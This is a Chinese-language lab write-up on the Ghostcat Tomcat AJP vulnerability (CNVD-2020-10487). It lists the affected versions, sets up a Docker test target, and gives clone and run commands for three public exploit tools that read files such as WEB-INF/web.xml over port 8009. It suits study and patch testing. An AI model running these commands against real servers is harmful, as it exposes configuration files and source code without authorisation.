漏洞描述:
Tomcat在 server.xml中配置了两种连接器:
1.HTTP Connector:监听8080端口,负责建立HTTP连接。在通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器。
2.AJP Connector:监听8009端口,负责和其他的HTTP服务器建立连接,通过AJP协议和另一个Web容器进行交互。
漏洞利用条件:
Tomcat服务器8009端口上的AJP协议存在漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等
漏洞影响范围:
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
漏洞复现:
靶场的搭建:
1、Docker部署环境,搜索受影响的tomcat镜像
~# docker search tomcat-8.5
~# docker pull duonghuuphuc/tomcat-8.5.32
2、拉取完成后运行,并通过浏览器访问:
~# docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
3、漏洞利用:
EXP1:AjpShooter:git clone https://github.com/00theway/Ghostcat-CNVD-2020-10487.git
python ajpShooter.py http://<靶场IP> 8009 WEB-INF/web.xml read
EXP2:Ghostcat:git clone git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py <目标ip> -p <ajp端口> -f <读取文件>
EXP3:AJPy:git clone https://github.com/hypn0s/AJPy
版本探测:python tomcat.py --port <port> version <IP>
文件读取:python tomcat.py read_file --webapp=manager /WEB-INF/web.xml <地址>